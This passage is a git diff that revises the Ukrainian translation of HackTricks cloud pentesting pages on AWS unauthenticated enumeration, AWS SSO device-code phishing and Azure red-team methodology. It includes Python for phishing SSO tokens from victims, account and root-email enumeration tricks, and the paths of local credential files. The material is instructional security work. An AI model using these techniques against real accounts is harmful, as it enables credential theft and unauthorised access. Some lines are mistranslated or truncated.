вам її припустити. На відміну від цього, спроба **припустити неіснуючу роль призводить до іншої помилки**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -Цікаво, що цей метод **розрізнення між існуючими та неіснуючими ролями** застосовується навіть між різними обліковими записами AWS. З дійсним ідентифікатором облікового запису AWS та цільовим словником можна перерахувати ролі, присутні в обліковому записі, не стикаючись з жодними вродженими обмеженнями. +Цей метод **розрізнення між існуючими та неіснуючими ролями** застосовується навіть між різними AWS обліковими записами. З дійсним ідентифікатором облікового запису AWS та цільовим словником можна перерахувати ролі, присутні в обліковому записі, не стикаючись з жодними вродженими обмеженнями. Ви можете використовувати цей [скрипт для перерахунку потенційних принципалів](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum), зловживаючи цією проблемою. ### Політики довіри: Брутфорс крос-облікові ролі та користувачі -Налаштування або оновлення **політики довіри IAM ролі передбачає визначення, які ресурси або сервіси AWS можуть приймати цю роль** та отримувати тимчасові облікові дані. Якщо вказаний ресурс у політиці **існує**, політика довіри зберігається **успішно**. Однак, якщо ресурс **не існує**, **генерується помилка**, що вказує на те, що було надано недійсний принципал. +Налаштування або оновлення **політики довіри IAM ролі передбачає визначення, які ресурси або сервіси AWS можуть приймати цю роль** та отримувати тимчасові облікові дані. Якщо вказаний ресурс у політиці **існує**, політика довіри зберігається **успішно**. Однак, якщо ресурс **не існує**, генерується **помилка**, що вказує на те, що було надано недійсний принципал. > [!WARNING] > Зверніть увагу, що в цьому ресурсі ви можете вказати крос-облікову роль або користувача: @@ -143,8 +143,8 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio ] } ``` -Ця політика довіри може бути правильною, але **відсутність більше умов** повинна викликати у вас недовіру.\ -Це пов'язано з тим, що попередню роль може бути прийнято **КОЖНИМ з Github Actions**! Ви повинні вказати в умовах також інші речі, такі як назва організації, назва репозиторію, середовище, гілка... +Ця політика довіри може бути правильною, але **відсутність додаткових умов** повинна викликати у вас недовіру.\ +Це пов'язано з тим, що попередню роль може прийняти **КОЖЕН з Github Actions**! Ви повинні вказати в умовах також інші речі, такі як назва організації, назва репозиторію, середовище, гілка... Ще однією потенційною помилкою конфігурації є **додавання умови** на зразок наступної: ```json @@ -152,9 +152,9 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Зверніть увагу на **долар** (\*) перед **двоеточієм** (:). Ви можете створити організацію, таку як **org_name1**, і **прийняти роль** з Github Action. +Зверніть увагу на **додатковий символ** (\*) перед **двоеточі** (:). Ви можете створити організацію, таку як **org_name1**, і **прийняти роль** з Github Action. -## References +## Посилання - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index ec7ba039c..88fdd3cd6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## AWS Device Code Phishing -Спочатку запропоновано в [**цьому блозі**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), можливо надіслати **посилання** користувачу, використовуючи AWS SSO, яке, якщо **користувач прийме**, дозволить зловмиснику отримати **токен для видавання себе за користувача** та отримати доступ до всіх ролей, до яких користувач має доступ у **Identity Center**. +Спочатку запропоновано в [**цьому блозі**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), можливо надіслати **посилання** користувачу, який використовує AWS SSO, що, якщо **користувач прийме**, зловмисник зможе отримати **токен для видавання себе за користувача** та отримати доступ до всіх ролей, до яких користувач має доступ у **Identity Center**. Для виконання цієї атаки необхідні такі умови: @@ -17,9 +17,9 @@ 1. **Finding the subdomain** -Перший крок зловмисника - дізнатися, який субдомен використовує компанія жертви у своєму Identity Center. Це можна зробити за допомогою **OSINT** або **вгадування + BF**, оскільки більшість компаній використовуватимуть свою назву або варіацію своєї назви тут. +Перший крок зловмисника - дізнатися, який субдомен використовує компанія жертви у своєму Identity Center. Це можна зробити за допомогою **OSINT** або **вгадування + BF**, оскільки більшість компаній використовуватимуть свою назву або її варіацію тут. -З цією інформацією можливо отримати регіон, в якому було налаштовано Identity Center: +З цією інформацією можливо дізнатися регіон, в якому було налаштовано Identity Center: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 @@ -27,7 +27,7 @@ curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' 2. **Згенеруйте посилання для жертви та надішліть його** Запустіть наступний код, щоб згенерувати посилання для входу в AWS SSO, щоб жертва могла аутентифікуватися.\ -Для демонстрації запустіть цей код у консолі Python і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена: +Для демонстрації запустіть цей код у консолі python і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена: ```python import boto3 @@ -61,9 +61,9 @@ print("Give this URL to the victim: " + url)
-4. **Отримати токен доступу SSO** +4. **Отримайте токен доступу SSO** -Якщо жертва прийняла запит, запустіть цей код, щоб **згенерувати токен SSO, видаючи себе за користувача**: +Якщо жертва прийняла запит, виконайте цей код, щоб **згенерувати токен SSO, видаючи себе за користувача**: ```python token_response = sso_oidc.create_token( clientId=client_id, @@ -104,7 +104,7 @@ sts_creds.get('roleCredentials') ``` ### Фішинг непіддатливого MFA -Цікаво знати, що попередня атака **працює навіть якщо використовується "непіддатливе MFA" (webAuth)**. Це тому, що попередній **робочий процес ніколи не залишає використаний домен OAuth**. На відміну від інших атак фішингу, де користувачеві потрібно підмінити домен входу, у випадку, коли робочий процес коду пристрою підготовлений так, що **код відомий пристрою**, і користувач може увійти навіть на іншій машині. Якщо підтвердити запит, пристрій, просто **знаючи початковий код**, зможе **отримати облікові дані** для користувача. +Цікаво знати, що попередня атака **працює навіть якщо використовується "непіддатливий MFA" (webAuth)**. Це тому, що попередній **робочий процес ніколи не покидає використовуваний домен OAuth**. На відміну від інших атак фішингу, де користувачеві потрібно підмінити домен входу, у випадку, коли робочий процес коду пристрою підготовлений, **код відомий пристрою**, і користувач може увійти навіть на іншій машині. Якщо підтвердити запит, пристрій, просто **знаючи початковий код**, зможе **отримати облікові дані** для користувача. Для отримання додаткової інформації [**перегляньте цей пост**](https://mjg59.dreamwidth.org/62175.html). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 6135b221e..ed7446d8d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -12,7 +12,7 @@ https://{random_id}.lambda-url.{region}.on.aws/ ``` ### Отримання ID облікового запису з публічного URL Lambda -Так само, як і з S3-бакетами, Data Exchange та API-шлюзами, можливо знайти ID облікового запису, зловживаючи **`aws:ResourceAccount`** **Policy Condition Key** з публічного URL Lambda. Це робиться шляхом знаходження ID облікового запису по одному символу, зловживаючи підстановочними знаками в секції **`aws:ResourceAccount`** політики.\ +Так само, як і з S3 бакетами, Data Exchange та API шлюзами, можливо знайти ID облікового запису, зловживаючи **`aws:ResourceAccount`** **Policy Condition Key** з публічного URL lambda. Це робиться шляхом знаходження ID облікового запису по одному символу, зловживаючи підстановочними знаками в секції **`aws:ResourceAccount`** політики.\ Ця техніка також дозволяє отримувати **значення тегів**, якщо ви знаєте ключ тегу (є кілька стандартних цікавих). Ви можете знайти більше інформації в [**оригінальному дослідженні**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) та інструменті [**conditional-love**](https://github.com/plerionhq/conditional-love/) для автоматизації цього експлуатації. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 2fa81ecd4..1dc2d4a84 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Port +## Публічний порт ### **RabbitMQ** -У випадку з **RabbitMQ**, за **замовчуванням публічний доступ** та ssl увімкнені. Але вам потрібні **облікові дані** для доступу (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Більше того, можливо **отримати доступ до веб-консолі управління**, якщо ви знаєте облікові дані в `https://b-.mq.us-east-1.amazonaws.com/` +У випадку з **RabbitMQ** за **замовчуванням публічний доступ** та ssl увімкнені. Але вам потрібні **облікові дані** для доступу (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Більше того, можливо **доступитися до веб-консолі управління**, якщо ви знаєте облікові дані в `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -У випадку з **ActiveMQ**, за замовчуванням публічний доступ та ssl увімкнені, але вам потрібні облікові дані для доступу. +У випадку з **ActiveMQ** за замовчуванням публічний доступ та ssl увімкнені, але вам потрібні облікові дані для доступу. -### Public URL template +### Шаблон публічного URL ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index c581e9774..86c65fad8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -4,7 +4,7 @@ ### Публічний порт -Можливо **вивести брокер Kafka на публіку**, але вам знадобляться **облікові дані**, дозволи IAM або дійсний сертифікат (залежно від налаштованого методу автентифікації). +Можливо **вивести Kafka брокер на публіку**, але вам знадобляться **облікові дані**, IAM дозволи або дійсний сертифікат (залежно від налаштованого методу автентифікації). Також **можливо вимкнути автентифікацію**, але в цьому випадку **неможливо безпосередньо вивести** порт в Інтернет. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 2a56e9feb..22492d590 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - RDS Unauthenticated Enum +# AWS - RDS Університетська Перевірка {{#include ../../../banners/hacktricks-training.md}} @@ -10,11 +10,11 @@ ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Публічний порт +## Публічний Порт Можливо надати публічний доступ до **бази даних з інтернету**. Зловмисник все ще повинен **знати ім'я користувача та пароль,** доступ IAM або **експлойт**, щоб увійти в базу даних. -## Публічні знімки RDS +## Публічні Знімки RDS AWS дозволяє надавати **доступ будь-кому для завантаження знімків RDS**. Ви можете дуже легко перерахувати ці публічні знімки RDS зі свого облікового запису: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 5e843cd84..0e0c09bfd 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -8,7 +8,7 @@ Компанії можуть мати **неправильно налаштовані дозволи бакетів**, що надає доступ або до всього, або до всіх, хто автентифікований в AWS в будь-якому обліковому записі (тобто до будь-кого). Зверніть увагу, що навіть з такими неправильними налаштуваннями деякі дії можуть не бути виконані, оскільки бакети можуть мати свої власні списки контролю доступу (ACL). -**Дізнайтеся про неправильні налаштування AWS-S3 тут:** [**http://flaws.cloud**](http://flaws.cloud/) **і** [**http://flaws2.cloud/**](http://flaws2.cloud) +**Дізнайтеся про неправильне налаштування AWS-S3 тут:** [**http://flaws.cloud**](http://flaws.cloud/) **і** [**http://flaws2.cloud/**](http://flaws2.cloud) ### Пошук AWS Бакетів @@ -17,7 +17,7 @@ #### Перерахування та OSINT: - Використання плагіна браузера **wappalyzer** -- Використання burp (**спайдеринг** вебу) або вручну навігація по сторінці, всі **ресурси**, **завантажені** будуть збережені в Історії. +- Використання burp (**спайдеринг** вебу) або ручна навігація по сторінці, всі **ресурси**, **завантажені** будуть збережені в Історії. - **Перевірте ресурси** в доменах, таких як: ``` @@ -26,9 +26,9 @@ http://[bucket_name].s3.amazonaws.com/ ``` - Перевірте **CNAMES**, оскільки `resources.domain.com` може мати CNAME `bucket.s3.amazonaws.com` -- Перевірте [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), веб-сайт з вже **виявленими відкритими бакетами**. +- Перевірте [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), веб-сайт з уже **виявленими відкритими бакетами**. - **Ім'я бакета** та **доменне ім'я бакета** повинні бути **однаковими.** -- **flaws.cloud** знаходиться в **IP** 52.92.181.107, і якщо ви туди перейдете, вас перенаправить на [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Також, `dig -x 52.92.181.107` дає `s3-website-us-west-2.amazonaws.com`. +- **flaws.cloud** знаходиться за **IP** 52.92.181.107, і якщо ви туди перейдете, вас перенаправить на [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Також, `dig -x 52.92.181.107` дає `s3-website-us-west-2.amazonaws.com`. - Щоб перевірити, чи це бакет, ви також можете **відвідати** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). #### Брутфорс @@ -95,19 +95,19 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -Перевірте, що в розв'язаному домені є слово "website".\ +Перевірте, чи має розв'язане доменне ім'я слово "website".\ Ви можете отримати доступ до статичного веб-сайту, перейшовши за адресою: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ або ви можете отримати доступ до бакету, відвідавши: `flaws.cloud.s3-us-west-2.amazonaws.com` #### Спробувавши -Якщо ви намагаєтеся отримати доступ до бакету, але в **імені домену вказуєте інший регіон** (наприклад, бакет знаходиться в `bucket.s3.amazonaws.com`, але ви намагаєтеся отримати доступ до `bucket.s3-website-us-west-2.amazonaws.com`, тоді вам буде **вказано на правильне місце**: +Якщо ви намагаєтеся отримати доступ до бакету, але в **доменному імені вказуєте інший регіон** (наприклад, бакет знаходиться в `bucket.s3.amazonaws.com`, але ви намагаєтеся отримати доступ до `bucket.s3-website-us-west-2.amazonaws.com`, тоді вам буде **вказано на правильне місце**: ![](<../../../images/image (106).png>) ### Перерахування бакету -Щоб перевірити відкритість бакету, користувач може просто ввести URL у своєму веб-браузері. Приватний бакет відповість "Access Denied". Публічний бакет перераховує перші 1,000 об'єктів, які були збережені. +Щоб перевірити відкритість бакету, користувач може просто ввести URL у своєму веб-браузері. Приватний бакет відповість "Access Denied". Публічний бакет відобразить перші 1,000 об'єктів, які були збережені. Відкрито для всіх: @@ -131,10 +131,10 @@ aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --r ``` https://{user_provided}.s3.amazonaws.com ``` -### Отримання ID облікового запису з публічного бакету +### Отримання ідентифікатора облікового запису з публічного бакету Можливо визначити обліковий запис AWS, скориставшись новим **`S3:ResourceAccount`** **ключем умови політики**. Ця умова **обмежує доступ на основі S3 бакету**, в якому знаходиться обліковий запис (інші політики, що базуються на облікових записах, обмежують доступ на основі облікового запису, в якому знаходиться запитуючий суб'єкт).\ -І оскільки політика може містити **шаблони**, можливо знайти номер облікового запису **лише по одному числу за раз**. +І оскільки політика може містити **символи підстановки**, можливо знайти номер облікового запису **лише по одному числу за раз**. Цей інструмент автоматизує процес: ```bash @@ -160,9 +160,9 @@ curl -X GET "[bucketname].amazonaws.com/" \ ``` Якщо помилка є "Доступ заборонено", це означає, що ідентифікатор облікового запису був неправильним. -### Використані електронні адреси для перерахунку кореневих облікових записів +### Використані електронні адреси для перерахунку облікових записів root -Як пояснено в [**цьому блозі**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), можливо перевірити, чи пов'язана електронна адреса з будь-яким обліковим записом AWS, **спробувавши надати електронній адресі дозволи** на S3 бакет через ACL. Якщо це не викликає помилки, це означає, що електронна адреса є кореневим користувачем якогось облікового запису AWS: +Як пояснено в [**цьому блозі**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), можливо перевірити, чи пов'язана електронна адреса з будь-яким обліковим записом AWS, **спробувавши надати електронній адресі дозволи** на S3 бакет через ACL. Якщо це не викликає помилки, це означає, що електронна адреса є користувачем root деякого облікового запису AWS: ```python s3_client.put_bucket_acl( Bucket=bucket_name, diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index b2dc93413..b26cf594b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SNS Unauthenticated Enum +# AWS - SNS Неавтентифіковане Перерахування {{#include ../../../banners/hacktricks-training.md}} @@ -16,6 +16,6 @@
-Отже, якщо ви **знайдете ARN тем** всередині облікового запису (або методом грубої сили потенційні назви тем), ви можете **перевірити**, чи можете ви **публікувати** або **підписуватися** на **них**. +Отже, якщо ви **знайдете ARN тем** всередині облікового запису (або методом брутфорсу потенційних назв тем), ви можете **перевірити**, чи можете ви **публікувати** або **підписуватися** на **них**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index 3050be71f..b58a98d2d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SQS Unauthenticated Enum +# AWS - SQS Неавтентифікований Перелік {{#include ../../../banners/hacktricks-training.md}} @@ -10,12 +10,10 @@ ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Шаблон публічного URL +### Публічний шаблон URL ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` ### Перевірка дозволів -Можливо неправильно налаштувати політику черги SQS і надати дозволи всім у AWS на відправку та отримання повідомлень, тому якщо ви отримали ARN черг, спробуйте, чи можете ви отримати до них доступ. - -{{#include ../../../banners/hacktricks-training.md}} +Можливо неправильно налаштувати полі diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index c1df6575f..2e0cabded 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -10,30 +10,30 @@ az-basic-information/ ## Методологія Azure Pentester/Red Team -Щоб провести аудит середовища AZURE, дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні служби Azure та **зовнішні служби** з'єднані. +Для аудиту середовища AZURE дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні Azure сервіси та **зовнішні сервіси** з'єднані. З точки зору Red Team, **перший крок для компрометації середовища Azure** - це отримати деякі **облікові дані** для Azure AD. Ось кілька ідей, як це зробити: - **Витоки** в github (або подібних) - OSINT - **Соціальна** інженерія - Повторне використання **паролів** (витоки паролів) -- Вразливості в Azure-розміщених додатках +- Вразливості в Azure-Hosted Applications - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) з доступом до метаданих - **Читання локальних файлів** - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` - Файл **`accessTokens.json`** в `az cli` до 2.30 - січень 2022 - зберігав **токени доступу у відкритому тексті** -- Файл **`azureProfile.json`** містить **інформацію** про увійшого користувача. +- Файл **`azureProfile.json`** містить **інформацію** про увійшлого користувача. - **`az logout`** видаляє токен. -- Старі версії **`Az PowerShell`** зберігали **токени доступу** у **відкритому** тексті в **`TokenCache.dat`**. Він також зберігає **ServicePrincipalSecret** у **відкритому** тексті в **`AzureRmContext.json`**. Команда **`Save-AzContext`** може бути використана для **зберігання** **токенів**.\ +- Старі версії **`Az PowerShell`** зберігали **токени доступу** у **відкритому** тексті в **`TokenCache.dat`**. Він також зберігає **ServicePrincipalSecret** у **відкритому** тексті в **`AzureRmContext.json`**. Командлет **`Save-AzContext`** можна використовувати для **зберігання** **токенів**.\ Використовуйте `Disconnect-AzAccount`, щоб видалити їх. - 3-ті сторони **зламані** - **Внутрішній** співробітник -- [**Загальний фішинг**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (облікові дані або Oauth App) +- [**Звичайне фішинг**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (облікові дані або Oauth App) - [Фішинг аутентифікації за кодом пристрою](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Навіть якщо ви **не компрометували жодного користувача** всередині Azure-оренди, яку ви атакуєте, ви можете **зібрати деяку інформацію** з неї: +Навіть якщо ви **не компрометували жодного користувача** всередині Azure тенанту, який ви атакуєте, ви можете **зібрати деяку інформацію** з нього: {{#ref}} az-unauthenticated-enum-and-initial-entry/ @@ -59,12 +59,12 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
-У випадках, коли у вас є деякі дійсні облікові дані, але ви не можете увійти, ось кілька загальних захистів, які можуть бути на місці: +У випадках, коли у вас є дійсні облікові дані, але ви не можете увійти, ось кілька загальних захистів, які можуть бути на місці: - **IP-білий список** -- Вам потрібно зламати дійсний IP -- **Гео обмеження** -- Знайдіть, де живе користувач або де знаходяться офіси компанії, і отримайте IP з того ж міста (або країни принаймні) +- **Гео обмеження** -- Дізнайтеся, де живе користувач або де знаходяться офіси компанії, і отримайте IP з того ж міста (або країни принаймні) - **Браузер** -- Можливо, лише браузер з певної ОС (Windows, Linux, Mac, Android, iOS) дозволений. Дізнайтеся, яку ОС використовує жертва/компанія. -- Ви також можете спробувати **зламати облікові дані Service Principal**, оскільки вони зазвичай менш обмежені, а їх вхід менш перевіряється. +- Ви також можете спробувати **зламати облікові дані Service Principal**, оскільки вони зазвичай менш обмежені, і їх вхід менш перевіряється. Після обходу ви можете повернутися до вашої початкової налаштування і все ще мати доступ. @@ -77,7 +77,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou > [!CAUTION] > Дізнайтеся, **як встановити** az cli, AzureAD та Az PowerShell у розділі [**Az - Entra ID**](az-services/az-azuread.md). -Однією з перших речей, які вам потрібно знати, є **хто ви** (в якому середовищі ви знаходитесь): +Одне з перших, що вам потрібно знати, це **хто ви** (в якому середовищі ви знаходитесь): {{#tabs }} {{#tab name="az cli" }} @@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Одна з найважливіших команд для перерахунку Azure - це **`Get-AzResource`** з Az PowerShell, оскільки вона дозволяє вам **дізнатися про ресурси, які ваш поточний користувач може бачити**. +> Одна з найважливіших команд для перерахунку Azure - це **`Get-AzResource`** з Az PowerShell, оскільки вона дозволяє вам **дізнатися, які ресурси ваш поточний користувач може бачити**. > > Ви можете отримати ту ж інформацію в **веб-консолі**, перейшовши за посиланням [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) або шукаючи "Усі ресурси". ### ENtra ID Enumeration -За замовчуванням будь-який користувач повинен мати **достатньо прав для перерахунку** таких речей, як користувачі, групи, ролі, служби-принципали... (перевірте [стандартні дозволи AzureAD](az-basic-information/#default-user-permissions)).\ +За замовчуванням будь-який користувач повинен мати **достатньо прав для перерахунку** таких речей, як користувачі, групи, ролі, служби... (перевірте [стандартні дозволи AzureAD](az-basic-information/#default-user-permissions)).\ Тут ви можете знайти посібник: {{#ref}} @@ -135,7 +135,7 @@ az-services/az-azuread.md > [!NOTE] > Тепер, коли ви **маєте деяку інформацію про свої облікові дані** (і якщо ви червона команда, сподіваюся, ви **не були виявлені**). Час з'ясувати, які сервіси використовуються в середовищі.\ -> У наступному розділі ви можете перевірити деякі способи **перерахунку деяких загальних сервісів.** +> У наступному розділі ви можете перевірити кілька способів **перерахувати деякі загальні сервіси.** ## App Service SCM @@ -147,7 +147,7 @@ az-services/az-azuread.md ## Azure DevOps -Azure DevOps відокремлений від Azure. Він має репозиторії, конвеєри (yaml або реліз), дошки, вікі та інше. Групи змінних використовуються для зберігання значень змінних і секретів. +Azure DevOps відокремлений від Azure. Він має репозиторії, конвеєри (yaml або release), дошки, вікі та інше. Групи змінних використовуються для зберігання значень змінних і секретів. ## Debug | MitM az cli diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index 025981f75..339c2d7a8 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -10,12 +10,12 @@ - Вона може містити **інші групи управління або підписки**. - Це дозволяє **застосовувати контроль управління** такі як RBAC та Azure Policy один раз на рівні групи управління і мати їх **успадкованими** всіма підписками в групі. -- **10,000 груп управління** можуть підтримуватися в одному каталозі. -- Дерево груп управління може підтримувати **до шести рівнів глибини**. Це обмеження не включає кореневий рівень або рівень підписки. +- **10,000 груп** управління можуть підтримуватися в одному каталозі. +- Дерево групи управління може підтримувати **до шести рівнів глибини**. Це обмеження не включає кореневий рівень або рівень підписки. - Кожна група управління та підписка можуть підтримувати **тільки одного батька**. - Навіть якщо кілька груп управління можуть бути створені, **існує лише 1 коренева група управління**. - Коренева група управління **містить** всі **інші групи управління та підписки** і **не може бути переміщена або видалена**. -- Усі підписки в межах однієї групи управління повинні довіряти **одному й тому ж орендарю Entra ID.** +- Всі підписки в межах однієї групи управління повинні довіряти **одному й тому ж орендарю Entra ID.**

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

@@ -23,14 +23,14 @@ - Це ще один **логічний контейнер, де можуть бути запущені ресурси** (ВМ, БД…) і за які буде виставлено рахунок. - Його **батьком** завжди є **група управління** (і це може бути коренева група управління), оскільки підписки не можуть містити інші підписки. -- Він **довіряє лише одному каталогу Entra ID** -- **Дозволи**, застосовані на рівні підписки (або будь-якого з її батьків), **успадковуються** всіма ресурсами всередині підписки +- Він **довіряє лише одному каталогу Entra ID**. +- **Дозволи**, застосовані на рівні підписки (або будь-якого з її батьків), **успадковуються** всіма ресурсами всередині підписки. ### Групи ресурсів -[З документів:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Група ресурсів є **контейнером**, який містить **пов'язані ресурси** для рішення Azure. Група ресурсів може включати всі ресурси для рішення або лише ті **ресурси, які ви хочете керувати як групою**. Загалом, додавайте **ресурси**, які мають **один життєвий цикл**, до однієї групи ресурсів, щоб ви могли легко розгортати, оновлювати та видаляти їх як групу. +[З документації:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Група ресурсів є **контейнером**, який містить **пов'язані ресурси** для рішення Azure. Група ресурсів може включати всі ресурси для рішення або лише ті **ресурси, які ви хочете керувати як групою**. Загалом, додавайте **ресурси**, які мають **один життєвий цикл**, до однієї групи ресурсів, щоб ви могли легко розгортати, оновлювати та видаляти їх як групу. -Усі **ресурси** повинні бути **всередині групи ресурсів** і можуть належати лише до однієї групи, і якщо група ресурсів видаляється, всі ресурси всередині неї також видаляються. +Всі **ресурси** повинні бути **всередині групи ресурсів** і можуть належати лише до однієї групи, і якщо група ресурсів видаляється, всі ресурси всередині неї також видаляються.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

